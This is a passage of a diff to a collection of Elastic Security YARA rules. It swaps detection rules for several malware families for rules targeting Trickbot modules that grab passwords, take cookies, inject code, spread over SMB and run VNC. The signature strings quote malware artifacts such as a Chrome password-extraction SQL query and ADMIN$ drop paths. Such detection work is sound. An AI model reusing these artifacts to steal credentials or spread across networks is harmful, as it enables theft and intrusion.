-		logic_hash = "3ca1d4568fea7b2e4e9d30ba03662a2c28ee8623d887a0336e27989b5c98b55f"
-		score = 75
+		id = "46dc12dd-d81a-43a6-b7c3-f59afa1c863e"
+		date = "2021-03-29"
+		modified = "2021-08-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L504-L528"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf38a787aee5afdcab00b95ccdf036bc7f91f07151b4444b54165bb70d649ce5"
+		logic_hash = "e01209a83f4743cbad7dda01595c053277868bd47208e48214b557ae339b5b3c"
+		score = 50
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9b7beb5af64bc57d78cfb8f5bf8134461d8f2fbe7c935a0fa2b44fb51160a28d"
+		fingerprint = "997fe1c5a06bfffb754051436c48a0538ff2dcbfddf0d865c3a3797252247946"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67097,30 +70957,34 @@ rule ELASTIC_Windows_Trojan_Powerseal_2E50F393 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "[+] Loading PowerSeal"
-		$a2 = "[!] Failed to exec PowerSeal"
-		$a3 = "AppDomain: unable to get the name!"
+		$a1 = "setconf" ascii fullword
+		$a2 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name = \"id\"/><needinfo name = \"ip\"/><autoconf><conf ctl = \""
+		$a3 = "nf\" file = \"bcconfig\" period = \"90\"/></autoconf></moduleconfig>" ascii fullword
+		$a4 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name = \"id\"/><needinfo name = \"ip\"/><autoconf><conf ctl = \""
+		$a5 = "<addr>" ascii fullword
+		$a6 = "</addr>" ascii fullword
 
 	condition:
-		2 of them
+		4 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Hazelcobra_6A9Fe48A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_78A26074 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hazelcobra (Windows.Trojan.HazelCobra)"
+		description = "Targets psfin64.dll module containing point-of-sale recon functionality"
 		author = "Elastic Security"
-		id = "6a9fe48a-6fd9-4bce-ac43-254c02d6b3a4"
-		date = "2023-11-01"
-		modified = "2023-11-01"
+		id = "78a26074-dc4b-436d-8188-2a3cfdabf6db"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_HazelCobra.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
-		logic_hash = "dc4d561497c2e3da270d305ceaf3194b48d64c0d8e212ee6f03a2d89c8e006e8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L530-L564"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8cd75fa8650ebcf0a6200283e474a081cc0be57307e54909ee15f4d04621dde0"
+		logic_hash = "3837c22f7f9d55f03cb0bc1336798f0e2a91549c187b9f5136491cbafd26ce6e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4dc883be5fb6aae0dac0ec5d64baf24f0f3aaded6d759ec7dccb1a2ae641ae7b"
+		fingerprint = "f0446c7e1a497b93720824f4a5b72f23f00d0ee9a1607bc0c1b097109ec132a8"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67128,31 +70992,44 @@ rule ELASTIC_Windows_Trojan_Hazelcobra_6A9Fe48A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 83 E9 37 48 63 C2 F6 C2 01 75 0C C0 E1 04 48 D1 F8 88 4C 04 40 EB 07 }
-		$s1 = "Data file loaded. Running..." fullword
-		$s2 = "No key in args" fullword
-		$s3 = "Can't read data file" fullword
+		$a1 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"SetConf\" file=\"dpost\" period=\"14400\"/></a"
+		$a2 = "Dpost servers unavailable" ascii fullword
+		$a3 = "moduleconfig>" ascii fullword
+		$a4 = "ALOHA found: %d" wide fullword
+		$a5 = "BOH found: %d" wide fullword
+		$a6 = "MICROS found: %d" wide fullword
+		$a7 = "LANE found: %d" wide fullword
+		$a8 = "RETAIL found: %d" wide fullword
+		$a9 = "REG found: %d" wide fullword
+		$a10 = "STORE found: %d" wide fullword
+		$a11 = "POS found: %d" wide fullword
+		$a12 = "DOMAIN %s" wide fullword
+		$a13 = "/%s/%s/90" wide fullword
+		$a14 = "CASH found: %d" wide fullword
+		$a15 = "COMPUTERS:" wide fullword
+		$a16 = "TERM found: %d" wide fullword
 
 	condition:
-		$a1 or all of ($s*)
+		3 of ($a*)
 }
-rule ELASTIC_Windows_Wiper_Caddywiper_484Bd98A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_217B9C97 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Wiper Caddywiper (Windows.Wiper.CaddyWiper)"
+		description = "Targets pwgrab64.dll module containing functionality use to retrieve local passwords"
 		author = "Elastic Security"
-		id = "484bd98a-543f-42de-a58c-fe9c7b5605a3"
-		date = "2022-03-14"
-		modified = "2022-04-12"
+		id = "217b9c97-a637-49b8-a652-5a42ea19ee8e"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Wiper_CaddyWiper.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
-		logic_hash = "f473673afc211b02328f4e9d88e709acd95bf4b1fa565f5aca972b92324bf589"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L566-L601"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1e90a73793017720c9a020069ed1c87879174c19c3b619e5b78db8220a63e9b7"
+		logic_hash = "9b2b8a8154d4aba06029fd35d896331449f7baa961f183fb0cb47e890610ff99"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "de16515a72cd1f7b4d7ee46a4fafde07cf224c2b6df9037bcd20ab4d39181fa8"
+		fingerprint = "7d5dcb60526a80926bbaa7e3cd9958719e326a160455095ff9f0315e85b8adf6"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67160,60 +71037,85 @@ rule ELASTIC_Windows_Wiper_Caddywiper_484Bd98A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { C6 45 AC 43 C6 45 AD 3A C6 45 AE 5C C6 45 AF 55 C6 45 B0 73 C6 45 B1 65 C6 45 B2 72 C6 45 B3 73 }
-		$a2 = { C6 45 E0 44 C6 45 E1 3A C6 45 E2 5C }
-		$a3 = { C6 45 9C 6E C6 45 9D 65 C6 45 9E 74 C6 45 9F 61 C6 45 A0 70 C6 45 A1 69 C6 45 A2 33 C6 45 A3 32 }
-		$s1 = "DsRoleGetPrimaryDomainInformation"
+		$a1 = "pwgrab.dll" ascii fullword
+		$a2 = "\\\\.\\pipe\\pidplacesomepipe" ascii fullword
+		$a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data.bak" ascii fullword
+		$a4 = "select origin_url, username_value, password_value, length(password_value) from logins where blacklisted_by_user = 0" ascii fullword
+		$a5 = "<moduleconfig><autostart>yes</autostart><all>yes</all><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"dpost"
+		$a6 = "Grab_Passwords_Chrome(0)" ascii fullword
+		$a7 = "Grab_Passwords_Chrome(1)" ascii fullword
+		$a8 = "=\"dpost\" period=\"60\"/></autoconf></moduleconfig>" ascii fullword
+		$a9 = "Grab_Passwords_Chrome(): Can't open database" ascii fullword
+		$a10 = "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_"
+		$a11 = "Chrome login db copied" ascii fullword
+		$a12 = "Skip Chrome login db copy" ascii fullword
+		$a13 = "Mozilla\\Firefox\\Profiles\\" ascii fullword
+		$a14 = "Grab_Passwords_Chrome() success" ascii fullword
+		$a15 = "No password provided by user" ascii fullword
+		$a16 = "Chrome login db should be copied (copy absent)" ascii fullword
+		$a17 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" wide fullword
 
 	condition:
-		all of them
+		4 of ($a*)
 }
-rule ELASTIC_Linux_Hacktool_Aduh_6Cae7C78 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_D2110921 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Aduh (Linux.Hacktool.Aduh)"
+		description = "Targets shareDll64.dll module containing functionality use to spread Trickbot across local networks"
 		author = "Elastic Security"
-		id = "6cae7c78-a4b4-4096-9f7c-746b1e5a1e38"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "d2110921-b957-49b7-8a26-4c0b7d1d58ad"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Aduh.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9c67207546ad274dc78a0819444d1c8805537f9ac36d3c53eba9278ed44b360c"
-		logic_hash = "130df108de5b6cdfb9227f96301bdaa1e272d47b8cb9ad96c3aa574bf65870b2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L603-L632"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05ef40f7745db836de735ac73d6101406e1d9e58c6b5f5322254eb75b98d236a"
+		logic_hash = "39ef17836f29c358f596e0047d582b5f1d1af523c8f6354ac8a783eda9969554"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8d7b0c1a95ec15c7d1ede5670ccd448b166467ed8eb2b4f38ebbb2c8bc323cdc"
+		fingerprint = "55dbbcbc77ec51a378ad2ba8d56cb0811d23b121cacd037503fd75d08529c5b5"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E3 51 89 E2 51 89 E1 B0 0B CD 80 31 C0 B0 01 CD }
+		$a1 = "module64.dll" ascii fullword
+		$a2 = "Size - %d kB" ascii fullword
+		$a3 = "%s - FAIL" wide fullword
+		$a4 = "%s - SUCCESS" wide fullword
+		$a5 = "ControlSystemInfoService" ascii fullword
+		$a6 = "<moduleconfig><autostart>yes</autostart></moduleconfig>" ascii fullword
+		$a7 = "Copy: %d" wide fullword
+		$a8 = "Start sc 0x%x" wide fullword
+		$a9 = "Create sc 0x%x" wide fullword
+		$a10 = "Open sc %d" wide fullword
+		$a11 = "ServiceInfoControl" ascii fullword
 
 	condition:
-		all of them
+		3 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Ghostpulse_A1311F49 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_0114D469 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
+		description = "Targets systeminfo64.dll module containing functionality use to retrieve system information"
 		author = "Elastic Security"
-		id = "a1311f49-65a7-4136-a5ab-28cf4de4d40f"
-		date = "2023-10-06"
-		modified = "2023-10-26"
-		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostPulse.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0175448655e593aa299278d5f11b81f2af76638859e104975bdb5d30af5c0c11"
-		logic_hash = "21838f230ac1a77f09d01d30f4ea3b66313618660e63ab7012b030e0b819547e"
+		id = "0114d469-8731-4f4f-8657-49cded5efadb"
+		date = "2021-03-29"
+		modified = "2021-08-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L634-L667"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "083cb35a7064aa5589efc544ac1ed1b04ec0f89f0e60383fcb1b02b63f4117e9"
+		logic_hash = "6ca8e73f758d3fa956fe53cc83abb43806359f93df05c42a58e2f394a1a3c117"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e07a8152ab75624aa8dd0a8301d690a6a4bdd3b0e069699632541fb6a32e419b"
+		fingerprint = "4f1fa072f4ba577d590bb8946ea9b9774aa291cb2406f13be5932e97e8e760c6"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67221,28 +71123,43 @@ rule ELASTIC_Windows_Trojan_Ghostpulse_A1311F49 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 0F BE 00 48 0F BE C0 85 C0 74 0D B8 01 00 00 00 03 45 00 89 45 00 EB E1 8B 45 00 48 8D 65 10 5D C3 }
-		$a2 = { 88 4C 24 08 48 83 EC 18 0F B6 44 24 20 88 04 24 0F BE 44 24 20 83 F8 41 7C 13 0F BE 04 24 83 F8 5A 7F 0A 0F BE 04 24 83 C0 20 88 04 24 }
+		$a1 = "<user>%s</user>" wide fullword
+		$a2 = "<service>%s</service>" wide fullword
+		$a3 = "<users>" wide fullword
+		$a4 = "</users>" wide fullword
+		$a5 = "%s%s%s</general>" wide fullword
+		$a6 = "<program>%s</program>" wide fullword
+		$a7 = "<moduleconfig><autostart>no</autostart><limit>2</limit></moduleconfig>" ascii fullword
+		$a8 = "<cpu>%s</cpu>" wide fullword
+		$a9 = "<ram>%s</ram>" wide fullword
+		$a10 = "</installed>" wide fullword
+		$a11 = "<installed>" wide fullword
+		$a12 = "<general>" wide fullword
+		$a13 = "SELECT * FROM Win32_Processor" wide fullword
+		$a14 = "SELECT * FROM Win32_OperatingSystem" wide fullword
+		$a15 = "SELECT * FROM Win32_ComputerSystem" wide fullword
 
 	condition:
-		any of them
+		6 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Ghostpulse_3Fe1D02D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_07239Dad : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
+		description = "Targets vncDll64.dll module containing remote control VNC functionality"
 		author = "Elastic Security"
-		id = "3fe1d02d-5de3-42df-8389-6a55fc2b8afd"
-		date = "2023-10-12"
-		modified = "2023-10-26"
-		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostPulse.yar#L23-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4ef78d436a153ed751a8483c1e43ec2ba053dedfa0da2780fded42012d3042c1"
+		id = "07239dad-7f9e-4b20-a691-d9538405b931"
+		date = "2021-03-29"
+		modified = "2021-08-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L669-L703"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dbd534f2b5739f89e99782563062169289f23aa335639a9552173bedc98bb834"
+		logic_hash = "231592d1a45798de6d22c922626ca28ef4019bae95d552a0f2822823d8dec384"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "18aed348ba64bee842fb6af3b3220e108052a67f49724cf34ba52c8ec7c15cac"
+		fingerprint = "32d63b8db4307fd67e2c9068e22f843f920f19279c4a40e17cd14943577e7c81"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67250,28 +71167,44 @@ rule ELASTIC_Windows_Trojan_Ghostpulse_3Fe1D02D : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 48 89 5C 24 08 48 89 7C 24 10 8B DA 45 33 D2 48 8B F9 41 2B D9 74 50 4C 8B D9 4C 2B C1 0F 1F 00 33 C9 }
+		$a1 = "C:\\Users\\MaxMikhaylov\\Documents\\Visual Studio 2010\\MMVNC.PROXY\\VNCSRV\\x64\\Release\\VNCSRV.pdb" ascii fullword
+		$a2 = "vncsrv.dll" ascii fullword
+		$a3 = "-new -noframemerging http://www.google.com" ascii fullword
+		$a4 = "IE.HTTP\\shell\\open\\command" ascii fullword
+		$a5 = "EDGE\\shell\\open\\command" ascii fullword
+		$a6 = "/K schtasks.exe |more" ascii fullword
+		$a7 = "<moduleconfig><needinfo name=\"id\"/><needinfo name=\"ip\"/></moduleconfig> " ascii fullword
+		$a8 = "\\Microsoft Office\\Office16\\outlook.exe" ascii fullword
+		$a9 = "\\Microsoft Office\\Office11\\outlook.exe" ascii fullword
+		$a10 = "\\Microsoft Office\\Office15\\outlook.exe" ascii fullword
+		$a11 = "\\Microsoft Office\\Office12\\outlook.exe" ascii fullword
+		$a12 = "\\Microsoft Office\\Office14\\outlook.exe" ascii fullword
+		$a13 = "TEST.TEMP:" ascii fullword
+		$a14 = "Chrome_WidgetWin" wide fullword
+		$a15 = "o --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas" ascii fullword
+		$a16 = "NetServerStart" ascii fullword
 
 	condition:
-		all of them
+		6 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Ghostpulse_3673D337 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Fd7A39Af : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
+		description = "Targets wormDll64.dll module containing spreading functionality"
 		author = "Elastic Security"
-		id = "3673d337-218b-4ea8-93f5-ecbc6fe51885"
-		date = "2023-12-11"
-		modified = "2024-01-12"
-		reference = "https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostPulse.yar#L43-L63"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3013ba32838f6d97d7d75e25394f9611b1c5def94d93588f0a05c90b25b7d6d5"
-		logic_hash = "a92815f27533338e17afd5ebdbe82e382636fb81167a82d1b613c0dccc5b7ed3"
+		id = "fd7a39af-c6ea-4682-a00a-01f775c3bb8d"
+		date = "2021-03-29"
+		modified = "2021-08-23"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L705-L739"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d5bb8d94b71d475b5eb9bb4235a428563f4104ea49f11ef02c8a08d2e859fd68"
+		logic_hash = "15cb286504e6167c78e194488555f565965a03e7714fe16692a115df26985a01"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "0b46a0e04ab2ca2760b2ace397a09b681bc6c0da5581c3f0f5cdb1a60f307a15"
+		fingerprint = "3f2e654f2ffdd940c27caec3faeb4bda24c797a17d0987378e36c1e16fadc772"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67279,29 +71212,44 @@ rule ELASTIC_Windows_Trojan_Ghostpulse_3673D337 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$IDAT_parser_x86 = { 80 F9 3F 75 ?? 38 54 1E 02 74 ?? 80 FA 3F 75 ?? 38 6C 1E 03 74 ?? 80 FD 3F 75 ?? 8A 74 24 04 38 74 1E 04 }
-		$IDAT_parser_x64 = { 80 FB 3F 0F 94 44 24 27 3C 3F 0F 94 44 24 30 40 80 FF 3F 0F 94 44 24 31 41 80 FD 3F 0F 94 44 24 32 41 80 FC 3F 0F 94 44 24 33 }
+		$a1 = "module64.dll" ascii fullword
+		$a2 = "worming.png" wide
+		$a3 = "Size - %d kB" ascii fullword
+		$a4 = "[+] %s -" wide fullword
+		$a5 = "%s\\system32" ascii fullword
+		$a6 = "[-] %s" wide fullword
+		$a7 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name=\"id\"/><needinfo name=\"ip\"/></moduleconfig>" ascii fullword
+		$a8 = "*****MACHINE IN WORKGROUP*****" wide fullword
+		$a9 = "*****MACHINE IN DOMAIN*****" wide fullword
+		$a10 = "\\\\%s\\IPC$" ascii fullword
+		$a11 = "Windows 5" ascii fullword
+		$a12 = "InfMach" ascii fullword
+		$a13 = "%s x64" wide fullword
+		$a14 = "%s x86" wide fullword
+		$a15 = "s(&(objectCategory=computer)(userAccountControl:" wide fullword
+		$a16 = "------MACHINE IN D-N------" wide fullword
 
 	condition:
-		any of them
+		5 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Ghostpulse_8Ae8310B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_2D89E9Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
+		description = "Targets tabDll64.dll module containing functionality using SMB for lateral movement"
 		author = "Elastic Security"
-		id = "8ae8310b-4ead-4b5c-be73-7db365470891"
-		date = "2024-05-27"
-		modified = "2024-06-12"
+		id = "2d89e9cd-2941-4b20-ab4e-a487d329ff76"
+		date = "2021-03-29"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostPulse.yar#L65-L84"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b64f91b41a7390d89cd3b1fccf02b08b18b7fed17a43b0bfac63d75dc0df083"
-		logic_hash = "b3873a3c728e98d65984033620c0ac8ee93be21db5b6d9bd4665b9f7d0d759fa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L741-L785"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3963649ebfabe8f6277190be4300ecdb68d4b497ac5f81f38231d3e6c862a0a8"
+		logic_hash = "c15833687c2aed55aae0bb5de83c088cb66edeb4ad1964543522f5477c1f1942"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "61213fd4ce9ddebdc7de8e6b23827347af3cbddd61254f95917e9af6b8a2b7b2"
+		fingerprint = "e6eea38858cfbbe5441b1f69c5029ff9279e7affa51615f6c91981fe656294fc"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -67309,29 +71257,54 @@ rule ELASTIC_Windows_Trojan_Ghostpulse_8Ae8310B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 48 8B 84 24 ?? 0D 00 00 8B 40 14 0F BA E8 09 48 8B 8C 24 ?? 0D 00 00 89 41 14 48 8B 84 24 ?? 0D 00 00 48 8B 8C 24 ?? 05 00 00 48 89 88 C0 ?? 00 00 }
-		$b = { BA C8 90 F0 B2 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA 9C 6C DA DC 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA 8D 20 4A A1 48 8B ?? ?? ?? E8 ?? ?? ?? 00 48 89 ?? ?? ?? 07 00 00 BA D4 7C 1A A8 }
+		$a1 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ascii fullword
+		$a2 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ascii fullword
+		$a3 = "%SystemRoot%\\system32\\stsvc.exe" ascii fullword
+		$a4 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08p, pX64function=0x%08p, ctx=0x%08p" ascii fullword
+		$a5 = "DLL and target process must be same architecture" ascii fullword
+		$a6 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ascii fullword
+		$a7 = "%SystemDrive%\\stsvc.exe" ascii fullword
+		$a8 = "Wrote shellcode to 0x%x" ascii fullword
+		$a9 = "ERROR: %d, line - %d" wide fullword
+		$a10 = "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08p" ascii fullword
+		$a11 = "GetProcessPEB:EXCEPT" wide fullword
+		$a12 = "Checked count - %i, connected count %i" wide fullword
+		$a13 = "C:\\%s\\%s C:\\%s\\%s" ascii fullword
+		$a14 = "C:\\%s\\%s" ascii fullword
+		$a15 = "%s\\ADMIN$\\stsvc.exe" wide fullword
+		$a16 = "%s\\C$\\stsvc.exe" wide fullword
+		$a17 = "Size - %d kB" ascii fullword
+		$a18 = "<moduleconfig><autostart>yes</autostart><sys>yes</sys><needinfo name=\"id\"/><needinfo name=\"ip\"/><autoconf><conf ctl=\"dpost"
+		$a19 = "%s - FAIL" wide fullword
+		$a20 = "%s - SUCCESS" wide fullword
+		$a21 = "CmainSpreader::init() CreateEvent, error code %i" wide fullword
+		$a22 = "Incorrect ModuleHandle %i, expect %i" wide fullword
+		$a23 = "My interface is \"%i.%i.%i.%i\", mask \"%i.%i.%i.%i\"" wide fullword
+		$a24 = "WormShare" ascii fullword
+		$a25 = "ModuleHandle 0x%08X, call Control: error create thread %i" wide fullword
+		$a26 = "Enter to Control: moduleHandle 0x%08X, unknown Ctl = \"%S\"" wide fullword
 
 	condition:
-		any of them
+		3 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Ghostpulse_9E22C56D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_32930807 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Ghostpulse (Windows.Trojan.GhostPulse)"
+		description = "Targets cookiesdll.dll module containing functionality used to retrieve browser cookie data"
 		author = "Elastic Security"
-		id = "9e22c56d-91bf-4259-8b60-aa7323b5e8f9"
-		date = "2024-07-21"
-		modified = "2024-07-26"
+		id = "32930807-30bb-4c57-8e17-0da99a816405"
+		date = "2021-03-30"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_GhostPulse.yar#L86-L106"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "349b4dfa1e93144b010affba926663264288a5cfcb7b305320f466b2551b93df"
-		logic_hash = "5dbd0d6a936a73e933181017c67c36fde7576b47643ec00848f7b58170bd9c6b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L787-L808"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
